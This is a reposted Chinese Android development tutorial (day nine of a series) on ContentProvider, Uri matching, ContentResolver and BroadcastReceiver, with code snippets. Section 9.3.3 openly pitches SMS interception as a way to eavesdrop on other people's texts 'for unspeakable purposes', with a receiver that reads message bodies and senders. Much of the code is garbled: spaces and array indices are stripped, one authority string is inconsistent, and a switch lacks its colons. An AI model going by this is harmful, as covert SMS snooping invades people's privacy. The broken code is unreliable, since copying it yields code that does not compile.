14天學會安卓開發(第九天)ContentProvider與BroadcastReceiver

查志強發表於2014-06-25

【原文:http://blog.csdn.net/corder_raine/article/details/8317249

14天學會安卓開發  
作者:神祕的N (英文名  corder_raine)
聯絡方式:369428455(反饋)
交流群:284552167(示例,原文件下載)
版權為作者所有,如有轉載請註明出處
目錄  


第九天.ContentProvider與BroadcastReceiver 93

9.1 ContentProvider 93

9.1.1 使用ContentProvider共享資料... 93
9.1.2 Uri介紹... 94
9.1.3 UriMatcher類使用介紹... 95
9.1.4 使用ContentProvider共享資料... 96

9.2 ContentResolver 96

9.2.1 ContentResolver
9.2.2 讀取電話本... 97

9.3 BroadcastReceiver 98

9.3.1 Broadcast Intent Receiver 98
9.3.2 廣播接收者--BroadcastReceiver 98
9.3.4 廣播接收者... 99
9.3.5 鬧鐘與提醒服務Demo. 100


第九天.ContentProviderBroadcastReceiver
9.1 ContentProvider       
9.1.1 使用ContentProvider共享資料
當應用繼承ContentProvider類,並重寫該類用於提供資料和儲存資料的方法,就可以向其他應用共享其資料。雖然使用其他方法也可以對外共享資料,但資料訪問方式會因資料儲存的方式而不同,如:採用檔案方式對外共享資料,需要進行檔案操作讀寫資料;採用sharedpreferences共享資料,需要使用sharedpreferences API讀寫資料。而使用ContentProvider共享資料的好處是統一了資料訪問方式。
當應用需要通過ContentProvider對外共享資料時,第一步需要繼承ContentProvider並重寫下面方法:
1
2
3
4
5
6
7
publicclass PersonContentProvider extendsContentProvider{
  publicboolean onCreate()
  publicUri insert(Uri uri, ContentValues values)
  publicint delete(Uri uri, String selection, String[] selectionArgs)
  publicint update(Uri uri, ContentValues values, String selection,String[] selectionArgs)
  publicCursor query(Uri uri, String[] projection, String selection,String[] selectionArgs, String sortOrder)
   publicString getType(Uri uri)}
第二步需要在AndroidManifest.xml使用<provider>對該ContentProvider進行配置,為了能讓其他應用找到該ContentProvider  ContentProvider 採用了authorities(主機名/域名)對它進行唯一標識,你可以把ContentProvider看作是一個網站(想想,網站也是提供資料者),authorities 就是他的域名:
1
2
3
4
5
<manifest.... >
   <applicationandroid:icon="@drawable/icon"android:label="@string/app_name">
       <providerandroid:name=".PersonContentProvider"android:authorities=“com.lxt008.provider.personprovider"/>
   </application>
</manifest>
注意:一旦應用繼承了ContentProvider類,後面我們就會把這個應用稱為ContentProvider(內容提供者)。
9.1.2 Uri介紹
Uri代表了要操作的資料,Uri主要包含了兩部分資訊:1》需要操作的ContentProvider 2》對ContentProvider中的什麼資料進行操作,一個Uri由以下幾部分組成:

圖片1.png 
file:///C:/DOCUME~1/ADMINI~1/LOCALS~1/Temp/msohtmlclip1/01/clip_image002.gif
ContentProvider(內容提供者)的scheme已經由Android所規定, scheme為:content://
主機名(或叫Authority)用於唯一標識這個ContentProvider,外部呼叫者可以根據這個標識來找到它。
路徑(path)可以用來表示我們要操作的資料,路徑的構建應根據業務而定,如下:
要操作person表中id10的記錄,可以構建這樣的路徑:/person/10
要操作person表中id10的記錄的name欄位, person/10/name
要操作person表中的所有記錄,可以構建這樣的路徑:/person
要操作xxx表中的記錄,可以構建這樣的路徑:/xxx
當然要操作的資料不一定來自資料庫,也可以是檔案等他儲存方式,如下:
要操作xml檔案中person節點下的name節點,可以構建這樣的路徑:/person/name
如果要把一個字串轉換成Uri,可以使用Uri類中的parse()方法,如下:
Uri uri =Uri.parse("content://com.lxt008.provider.personprovider/person")

9.1.3 UriMatcher類使用介紹
因為Uri代表了要操作的資料,所以我們很經常需要解析Uri,並從Uri中獲取資料。Android系統提供了兩個用於操作Uri的工具類,分別為UriMatcherContentUris 。掌握它們的使用,會便於我們的開發工作。
UriMatcher類用於匹配Uri,它的用法如下:
首先第一步把你需要匹配Uri路徑全部給註冊上,如下:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
//常量UriMatcher.NO_MATCH表示不匹配任何路徑的返回碼
UriMatcher sMatcher = newUriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配content://com.lxt008.provider.personprovider/person路徑,返回匹配碼為1
sMatcher.addURI(“cn.itcast.provider.personprovider”,“person”,1);//新增需要匹配uri,如果匹配就會返回匹配碼
//如果match()方法匹配content://com.lxt008.provider.personprovider/person/230路徑,返回匹配碼為2
sMatcher.addURI(“com.lxt008.provider.personprovider”,“person/#”,2);//#號為萬用字元
switch(sMatcher.match(Uri.parse("content://com.lxt008.provider.personprovider/person/10"))){
  case1
   break;
  case2
   break;
  default://不匹配
   break;
}
註冊完需要匹配的Uri後,就可以使用sMatcher.match(uri)方法對輸入的Uri進行匹配,如果匹配就返回匹配碼,匹配碼是呼叫addURI()方法傳入的第三個引數,假設匹配content://com.lxt008.provider.personprovider/person路徑,返回的匹配碼為1

ContentUris類用於獲取Uri路徑後面的ID部分,它有兩個比較實用的方法:
withAppendedId(uri, id)用於為路徑加上ID部分:
1
2
Uri resultUri =ContentUris.withAppendedId(uri, 10);
//生成後的Uri為:content://com.lxt008.provider.personprovider/person/10
parseId(uri)方法用於從路徑中獲取ID部分:
1
2
longpersonid = ContentUris.parseId(uri);//獲取的結果為:10

9.1.4 使用ContentProvider共享資料
ContentProvider類主要方法的作用:
public boolean onCreate()
該方法在ContentProvider建立後就會被呼叫, Android在系統啟動時就會建立ContentProvider 
public Uri insert(Uri uri, ContentValuesvalues)
該方法用於供外部應用往ContentProvider新增資料。
public int delete(Uri uri, Stringselection, String[] selectionArgs)
該方法用於供外部應用從ContentProvider刪除資料。
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
該方法用於供外部應用更新ContentProvider中的資料。
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
該方法用於供外部應用從ContentProvider中獲取資料。
public String getType(Uri uri)
該方法用於返回當前Url所代表資料的MIME型別。如果操作的資料屬於集合型別,那麼MIME型別字串應該以vnd.android.cursor.dir/開頭,例如:要得到所有person記錄的Uricontent://com.lxt008.provider.personprovider/person,那麼返回的MIME型別字串應該為:“vnd.android.cursor.dir/person”。如果要操作的資料屬於單一資料,那麼MIME型別字串應該以vnd.android.cursor.item/開頭,例如:得到id10person記錄,Uricontent://com.lxt008.provider.personprovider/person/10,那麼返回的MIME型別字串應該為:“vnd.android.cursor.item/person”




9.2 ContentResolver 
9.2.1 ContentResolver
當外部應用需要對ContentProvider中的資料進行新增、刪除、修改和查詢操作時,可以使用ContentResolver類來完成,要獲取ContentResolver物件,可以使用Activity提供的getContentResolver()方法。 ContentResolver 類提供了與ContentProvider類相同簽名的四個方法:
public Uri insert(Uri uri, ContentValuesvalues)
該方法用於往ContentProvider新增資料。
public int delete(Uri uri, Stringselection, String[] selectionArgs)
該方法用於從ContentProvider刪除資料。
public int update(Uri uri, ContentValuesvalues, String selection, String[] selectionArgs)
該方法用於更新ContentProvider中的資料。
public Cursor query(Uri uri, String[]projection, String selection, String[] selectionArgs, String sortOrder)
該方法用於從ContentProvider中獲取資料。
這些方法的第一個引數為Uri,代表要操作的是哪個ContentProvider和對其中的什麼資料進行操作,假設給定的是:Uri.parse(“content://com.lxt008.provider.personprovider/person/10”),那麼將會對主機名為com.lxt008.provider.personproviderContentProvider進行操作,操作的資料為person表中id10的記錄。


使用ContentResolverContentProvider中的資料進行新增、刪除、修改和查詢操作:
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
ContentResolver resolver =  getContentResolver();
Uri uri =Uri.parse(“content://com.lxt008.provider.personprovider/person");
//新增一條記錄
ContentValues values = newContentValues();
values.put("name",“lxt008");
values.put("age",35);
resolver.insert(uri, values);          
//獲取person表中所有記錄
Cursor cursor = resolver.query(uri, null,null,null,"personid desc");
while(cursor.moveToNext()){
       Log.i("ContentTest","personid="+ cursor.getInt(0)+",name="+cursor.getString(1));
}
//把id為1的記錄的name欄位值更改新為liming
ContentValues updateValues = newContentValues();
updateValues.put("name","liming");
Uri updateIdUri =ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues,null,null);
//刪除id為2的記錄
Uri deleteIdUri =ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri,null,null);


9.2.2 讀取電話本
Demo請參考systemcontacts
程式間互動可以通過ContentResolverContentProvider類處理。








9.3 BroadcastReceiver 
9.3.1 Broadcast Intent Receiver
當你想要寫一個程式來對外部的事件做些處理時,可以使用Broadcast Intent Receiver。比如:當電話響時,有簡訊時。Broadcast Intent Receiver它並不能拿來顯示UI畫面,它必需利用NotificationManager來通知使用者他們感興趣的事件發生了。
Broadcast Intent Receiver同樣的可以在AndroidManifest.xml中宣告,但你也可以用寫Context.registerReceiver()程式的方式來註冊你自己的Broadcast Intent Receiver。你自己的程式並不會因為BroadcastReceivers被呼叫而被它執行起來。而是當BroadcastReceiver被觸發 時系統會依需求來執行相對應的程式。
程式可以利用Context.sendBroadcast()來發出他們自己的intent broadcast給其它的程式。

9.3.2 廣播接收者--BroadcastReceiver
廣播接收者(BroadcastReceiver)用於非同步接收廣播Intent,廣播Intent的傳送是通過呼叫Context.sendBroadcast()Context.sendOrderedBroadcast()或者Context.sendStickyBroadcast()來實現的。通常一個廣播Intent可以被訂閱了此Intent的多個廣播接收者所接收,廣播接收者和JMS中的Topic訊息接收者很相似。要實現一個廣播接收者方法如下:
第一步:繼承BroadcastReceiver,並重寫onReceive()方法。
1
2
3
4
publicclass IncomingSMSReceiver extendsBroadcastReceiver {
       @Overridepublicvoid onReceive(Context context, Intent intent) {
       }
}
第二步:訂閱感興趣的廣播Intent,訂閱方法有兩種:
第一種:使用程式碼進行訂閱
1
2
3
IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);
第二種:在AndroidManifest.xml檔案中的<application>節點裡進行訂閱:
1
2
3
4
5
<receiverandroid:name=".IncomingSMSReceiver">
   <intent-filter>
        <actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/>
   </intent-filter>
</receiver>




9.3.3 使用廣播接收者竊聽簡訊
如果你想竊聽別人接收到的簡訊,達到你不可告人的目的,那麼本節內容可以實現你的需求。
當系統收到簡訊時,會發出一個action名稱為android.provider.Telephony.SMS_RECEIVED的廣播Intent,該Intent存放了接收到的簡訊內容,使用名稱“pdus”即可從Intent中獲取簡訊內容。
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
publicclass IncomingSMSReceiver extendsBroadcastReceiver {
privatestatic final String SMS_RECEIVED ="android.provider.Telephony.SMS_RECEIVED";
@Overridepublic void onReceive(Contextcontext, Intent intent) {
if(intent.getAction().equals(SMS_RECEIVED)) {
       SmsManagersms = SmsManager.getDefault();
       Bundlebundle = intent.getExtras();
       if(bundle != null) {
       Object[]pdus = (Object[]) bundle.get("pdus");
       SmsMessage[]messages = newSmsMessage[pdus.length];
       for(inti = 0; i < pdus.length; i++) messages =SmsMessage.createFromPdu((byte[]) pdus);
              for(SmsMessage message : messages){
                     Stringmsg = message.getMessageBody();
                     Stringto = message.getOriginatingAddress();
                     sms.sendTextMessage(to,null, msg, null,null);
}}}}}
AndroidManifest.xml檔案中的<application>節點裡對接收到簡訊的廣播Intent進行訂閱:
1
2
<receiverandroid:name=".IncomingSMSReceiver">
<intent-filter><actionandroid:name="android.provider.Telephony.SMS_RECEIVED"/></intent-filter></receiver>
AndroidManifest.xml檔案中新增以下許可權:
1
2
<uses-permissionandroid:name="android.permission.RECEIVE_SMS"/><!-- 接收簡訊許可權 -->
<uses-permissionandroid:name="android.permission.SEND_SMS"/><!-- 傳送簡訊許可權 -->
9.3.4 廣播接收者
除了簡訊到來廣播IntentAndroid還有很多廣播Intent,如:開機啟動、電池電量變化、時間已經改變等廣播Intent
l   接收電池電量變化廣播Intent ,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:
01
02
03
04
05
06
07
08
09
10
11
<receiverandroid:name=".IncomingSMSReceiver">
   <intent-filter>
        <actionandroid:name="android.intent.action.BATTERY_CHANGED"/>
   </intent-filter>
</receiver>
l   接收開機啟動廣播Intent,在AndroidManifest.xml檔案中的<application>節點裡訂閱此Intent:
<receiverandroid:name=".IncomingSMSReceiver">
   <intent-filter>
        <actionandroid:name="android.intent.action.BOOT_COMPLETED"/>
   </intent-filter>
</receiver>
並且要進行許可權宣告:
1
<uses-permissionandroid:name="android.permission.RECEIVE_BOOT_COMPLETED"/>


通常一個BroadcastReceiver物件的生命週期不超過5秒,所以在BroadcastReceiver裡不能做一些比較耗時的操作,如果需要完成一項比較耗時的工作,可以通過傳送IntentActivityService,由ActivityService來完成。
01
02
03
04
05
06
07
08
09
10
publicclass IncomingSMSReceiver extendsBroadcastReceiver {
       @Overridepublicvoid onReceive(Context context, Intent intent) {
           //傳送Intent啟動服務,由服務來完成比較耗時的操作
           Intent service = newIntent(context, XxxService.class);
           context.startService(service);
           //傳送Intent啟動Activity,由Activity來完成比較耗時的操作
           Intent newIntent = newIntent(context, XxxActivity.class);
           context.startActivity(newIntent);
       }
}


9.3.5 鬧鐘與提醒服務Demo
Ø  研究案例:AlarmDemo
Ø  研究案例: MultiAlarmReceiver



一共十個案例
AlarmDemo
ch06_contacts_contentprovider
ch07_addcontact_receiver
ch07_contacts_broadcast
ch08_startupservice
ContentProviderDemo
ContentResolverContract
MultiAlarmReceiver
Service&BroadcastReciever
systemcontacts
示例下載

相關文章